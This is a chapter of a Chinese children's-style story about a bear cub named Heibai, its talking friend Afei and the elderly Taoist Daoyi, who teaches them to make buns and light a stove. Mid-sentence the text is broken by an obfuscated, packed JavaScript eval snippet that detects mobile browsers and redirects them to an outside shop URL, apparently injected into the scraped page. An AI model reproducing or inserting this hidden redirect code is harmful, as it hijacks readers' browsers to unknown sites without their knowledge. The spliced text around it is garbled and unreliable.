自从那天在竹林里遇见阿绯，黑白的日子就不一样了。
每天早晨，黑白从道观的竹筐里跳出来，跑到后院吃了窝窝头，写完功课，就沿着那条被它扒出来的小路跑向竹林。
阿绯已经在那里等着了，蹲在那块大石头上，尾巴卷着身子，远远看见黑白的影子，就跳下来跑过去。
“你来了你来了！”阿绯围着黑白转圈，尾巴甩得像一面旗。它不吃竹叶，也不吃笋，它喜欢吃果子、抓虫子、偶尔偷鸟蛋。但它喜欢和黑白待在一起，黑白吃竹叶的时候，它就在旁边的草丛里追蚂蚱，或者趴在石头上晒太阳，眯着眼睛看黑白一口一口地嚼。
黑白不会说话，它会用爪子在地上写字。它蹲下来，在泥土上划拉了几个字：“今天抓到虫子了吗？” 阿绯凑过来看了看——它已经认识不少字了。
这些日子，它每天都跟着黑白来道观，道一念书的时候，它就趴在旁边听。道一写字的时候，它就趴在旁边看。它聪明，学得快，已经能认很多字了。
但它不喜欢写——它的小爪子写字太费劲了，写出来的字歪歪扭扭的，它才不要写呢。它只认，不写。
“抓到了两只！”阿绯得意地翘起尾巴，“一只绿色的，一只褐色的。绿色的那只可好吃了。”它舔了舔嘴，然后跑到黑白前面，回头喊它，“快来，今天竹林的露水特别多，你的竹叶肯定很嫩！”
黑白跟在后面，两个小家伙一前一后，在竹林里钻来钻去。黑白找到一片嫩竹叶，慢慢嚼着。阿绯就在旁边的草丛里扑来扑去，追一只蚱蜢。蚱蜢跳得高，它跳得更高，扑了好几次才扑到，叼着跑到黑白面前炫耀。
黑白看着它，尾巴扫了一下，继续吃它的竹叶。
黑白和阿绯不一样。阿绯会说话，黑白不会。阿绯一开始觉得奇怪，后来就习惯了。黑白写字给它看，它念出来，然后用自己的嘴说话回答。虽然慢，但总算能说上话了。
阿绯识字后，黑白之前在泥土上写字问它：“你为什么会说话？” 阿绯歪着脑袋想了想。
“我也不知道，”它说，“有一天我睡醒就会了。那时候我还很小，什么都不懂。我一个人住在山里，没有爹娘，没有兄弟姐妹。有一天我饿得不行，找了好久找不到吃的，就趴在一个树洞里睡觉。睡了好久好久，醒过来就发现我能听懂风的声音、树的声音，还能说话。”
黑白看着它。阿绯的眼睛亮亮的，但里面有一点它看不懂的东西。
“你爹娘呢？”黑白写。
阿绯摇了摇头。“不知道。从我记事起就是一个人了。”它低下头，舔了舔自己的爪子。“已经过了好几个秋天了。我一个人摘果子，一个人挖洞，一个人看月亮。有时候我会跟蝴蝶说话，蝴蝶不理我。跟小鸟说话，小鸟飞走了。”
它抬起头，看着黑白，“你是第一个能听懂我说话的。”
黑白蹲在那里，看着它的脸。它的鼻子上沾了一点泥土，胡子上挂着一片枯叶。黑白伸出爪子，把它鼻子上的泥土轻轻拨掉。阿绯愣了一下，然后笑得眼睛弯弯的，尾巴在地上扫来扫去。
黑白又在泥土上写：“我也想说话。你能教我吗？我想说话给道一听。”
阿绯看了那几个字，摇了摇头。“我不知道怎么教，我就是突然会的。你也许哪天睡醒了也会了。”
黑白想了想，没有再问。
黑白带阿绯回道观的时候，道一正在院子里晒草药。阿绯跟在黑白脚边，走进院子，先朝道一鞠了个躬——这是它自己学会的，因为它觉得道一是好人。
道一看了它一眼，微微点头。
阿绯就跑到石桌旁边，趴下来，等黑白写完功课。黑
白写字的时候，阿绯就趴在旁边看。黑白在石板上写一个字，它就念一个字。
阿绯不写，它只认。它的小爪子又小又嫩，写字太累了，它才不要。
但它认字认得很快，有时候黑白写了一个复杂的字，它歪着脑袋想一会儿，就能念出来。念完了还得意地看黑白一眼，尾巴翘得高高的。
道一端着茶杯站在屋檐下，看着它们。他没有说话，嘴角微微弯了一下。
日子久了，阿绯学会了越来越多的字。它和黑白的交流越来越顺畅了。黑白在地上写一行字，阿绯念出来，然后用嘴说话回答。两个小家伙就这样你写我说，在泥土上、在雪地上、在石板地上，写满了黑白的话，填满了阿绯的声音。
阿绯对什么都好奇。它好奇道一的刨子怎么能在木头上刨出一卷一卷的花，好奇道一的锯子怎么能把木板锯得整整齐齐，好奇道一的药杵怎么能把干草捣成粉末。它更好奇黑白身上那个斜挎小布袋里的圆球。
有一天，黑白在院子里帮道一捡刨花，阿绯蹲在旁边看。
黑白跑过去叼刨花的时候，布袋晃了一下，里面的圆球滚了出来。阿绯眼睛一亮，扑过去用爪子拨了一下，球滚了一圈。它又拨了一下，球又滚了一圈。
“这是什么？你之前都不给我看”阿绯问。
黑白走过去，用爪子把球拨回来，装进布袋里。它看了看阿绯，又看了看球。然后它从布袋里把球拿出来，放在阿绯面前。
阿绯愣了一下。“给我玩？”
黑白点点头。
阿绯高兴坏了，用爪子拨着球在院子里跑来跑去。球滚到墙根，它追到墙根。球滚到石桌底下，它钻到石桌底下。它追着球跑了一圈又一圈，尾巴翘得高高的，耳朵在风里飘着。黑白蹲在旁边看着，偶尔帮它把球拨回来。
道一从屋里出来，看见阿绯在玩球，看了看黑白。黑白抬起头看着他，尾巴在地上扫了一下。道一没有说什么，转身进屋了。
阿绯玩了很久，玩累了，趴在球旁边喘气。它用爪子把球拨回黑白面前，然后把下巴搁在地上。
“这个球好好玩，你天天都带着它吗？”
黑白点点头，把球装回布袋里。
那个球对阿绯没有用。它玩了很久，什么也没感受道。
黑白和阿绯在一起的时候，也很快乐。它们一起在竹林里——黑白吃竹叶，阿绯抓虫子。一起在溪边喝水，一起在山坡上追蝴蝶。阿绯跑得快，追上了就用爪子拍一下，蝴蝶飞走了，它又追。黑白跑得慢，就在后面慢慢跟着，看阿绯在草地上蹦来蹦去。
有时候它们也有矛盾。阿绯想玩球，黑白想写字。阿绯就蹲在石板旁边，用爪子按住黑白的爪子，不让它写。黑白看着它，不动。阿绯又用鼻子拱了拱黑白的脸，黑白还是不动。
阿绯最后只好自己跑去找道一，道一摸了摸它的头，它就不闹了。
但大多数时候，它们很好。阿绯每天在竹林里等黑白，等它吃完竹叶，等它写完功课，等它做完道一教的活儿。
然后两个一起在院子里晒太阳，一起趴在道一脚边听念书，一起叼着刨花往篮子里跑。
有时候黑白去山上给道一捡柴火，阿绯也跟着去。黑白叼大根的枯枝，阿绯叼小根的细枝。它叼不了太重的东西，但它一趟一趟地跑，跑得比黑白还快。它把细枝堆在柴房门口，堆得整整齐齐的，然后蹲在旁边喘气。
道一从屋里出来，看见柴房门口堆着的柴，又看了看阿绯。阿绯正蹲在那里，舌头伸出来喘气，眼睛亮亮地看着他。他走过去，蹲下来，摸了摸它的头。
“辛苦了。”他说。
阿绯的耳朵往后抿了一下，整个人趴在地上，幸福地眯起了眼睛。
道一的身体不如从前了。
那场病好了以后，但他知道自己老了。
晚上睡觉的时候，膝盖会疼，翻来覆去睡不着。他从来不在黑白面前说什么，但黑白能感觉到。
它感觉到道一起床的时间比以前晚了一点，感觉到他走路的时候比以前慢了一点，感觉到他摸它头的时候，手比以前更瘦了一点。
道一也知道黑白感觉到了。这只小熊什么都不说，但它会在他不舒服的时候跑过来，把脑袋搁在他的膝盖上，安安静静地陪着他。
会在他在院子里坐着的时候，把下巴搁在他的脚背上，一动不动。会在他从外面回来的时候，从院子里跑到门口接他，嘴里叼着一根竹枝放在他脚边。
他开始教黑白更多的东西。
他教黑白认更多的字，读更多的书。他教黑白怎么辨别草药——哪种能治咳嗽，哪种能止疼，哪种能退热。
黑白学得很认真。但是它心里闷闷的，很难受。
有一天，道一在厨房里做窝窝头。黑白蹲在门槛上，阿绯蹲在黑白旁边，两个脑袋挤在一起往里看。
“黑白，”道一叫了一声，“过来。”
黑白从门槛上跳下来，走进厨房。道一指了指案
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446832|201100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
板上的面团。 “今天你来做。”
黑白看了看那团面，又看了看自己的爪子。它的爪子毛茸茸的，肉嘟嘟的，指甲短短的。
它把爪子伸进面团里，面糊糊的，粘在毛上，糊了一爪子。它甩了甩，面糊甩到了墙上，又糊了一脸。
阿绯在门口笑得直打滚。
道一没有笑。他把黑白的爪子从面团里拔出来，揪下一小块面团，放在案板上。
“用爪子揉，”他说，“像这样。”他用手揉了一小块，搓成圆球。
黑白学着他的样子，用两只爪子按着面团，来回揉。揉了好一会儿，面团从糊状慢慢变成了一个不太规则的圆球。它把圆球捧在爪子里，给道一看。
道一点点头，放在蒸笼里。“再做一个。”
黑白又揪了一小块，这次揉得快了一些。它的爪子上全是面，案板上也全是面，但它不放弃。一个又一个，蒸笼里渐渐摆满了大大小小、歪歪扭扭的窝窝头。
。阿绯蹲在旁边看着，忍不住也跳进来，用爪子按了一个小小的面团。它按了半天，按出一个扁扁的饼，自己也觉得不好意思，用鼻子拱到角落里。
一看了看阿绯那个扁饼，捡起来放进蒸笼里。“也算一个。” 阿绯的尾巴翘了一下。
道一盖上蒸笼，然后蹲下来，指着灶膛。“还要生火。”
他从灶台旁边拿起火折子，打开，吹了一下，火折子亮了起来。他把火折子伸进灶膛里，点燃了干草和细枝。火苗慢慢窜起来，噼噼啪啪地响。
“看好了，”他说，“先放细的，容易着。等火旺了，再放粗的。”
黑白蹲在灶膛前面，眼睛盯着火苗。阿绯也蹲在旁边，眼睛盯着火苗。两个脑袋凑在一起，火光映在它们的眼睛里，一闪一闪的。
“你来试试。”道一把火折子递给黑白。
黑白用爪子接过火折子——它的爪子太肉，捏不住，火折子掉了两次。它用嘴叼起来，学着道一的样子吹了一下，火折子灭了。它又吹了一下，没亮。
道一接过火折子，重新打着，然后握着黑白的爪子，帮它伸进灶膛里。火苗舔上干草，烧了起来。黑白看着自己点燃的火，尾巴在地上扫了一下。
“你来。”道一对阿绯说。
阿绯跳过来，用嘴叼住火折子，道一帮它打着。它学着黑白的动作，把火折子伸进灶膛里。它太矮了，够不着，黑白用脑袋拱了拱它的屁股，把它拱高了一点。
火点着了，阿绯赶紧退出来，尾巴上沾了一点火星，它回头一看，吓得蹦了起来。黑白帮它把尾巴上的火星拍掉，两个都松了一口气。
灶膛里的火越烧越旺，锅里的水咕嘟咕嘟地开了。蒸汽从锅盖边上冒出来，厨房里弥漫着杂粮面的香味。黑白的鼻子一抽一抽的，阿绯的鼻子也一抽一抽的。
道一坐在灶台旁边的矮凳上，看着它们。“等一刻钟。”他说。
黑白和阿绯蹲在灶台前，眼睛盯着蒸笼，一动不动。过了好久——其实还不到一刻钟——阿绯忍不住了，小声问：“好了吗？”道一摇了摇头。
又过了一阵，黑白也忍不住了，用爪子指了指蒸笼。道一还是摇头。
终于，道一站起来，掀开锅盖。蒸汽涌出来，白茫茫的，热腾腾的。等蒸汽散了一些，黑白看见了蒸笼里的窝窝头——那些歪歪扭扭的、大大小小的、奇形怪状的东西，现在变成了热乎乎的、香喷喷的窝窝头。
道一用筷子夹出一个，放在碟子里晾了晾。黑白凑过去闻了闻，阿绯也凑过去闻了闻。道一掰了一小块，放进嘴里，嚼了嚼。黑白看着他，阿绯也看着他。他的脸上没什么表情，嚼了一会儿，咽下去。
“能吃。”他说。把其他的也放进盘子里。
黑白和阿绯同时扑向碟子。黑白叼起一个，阿绯叼起自己的那个小饼。窝窝头还有点烫，两个都一边吹气一边嚼。黑白的那个虽然样子丑，但嚼在嘴里，甜的，软的，和道一做的一个味道。它的眼睛眯了起来，尾巴在身后扫来扫去。阿绯也吃得高兴。
“以后，”道一说，“我不在的时候，你自己做。”
黑白难过地看着他，走到他手边，把头塞进他手中。
阿绯也知道道一说的是什么意思，道一都那么老了。可是道一那么好，它也好难过，它也把自己头挤进道一的手里。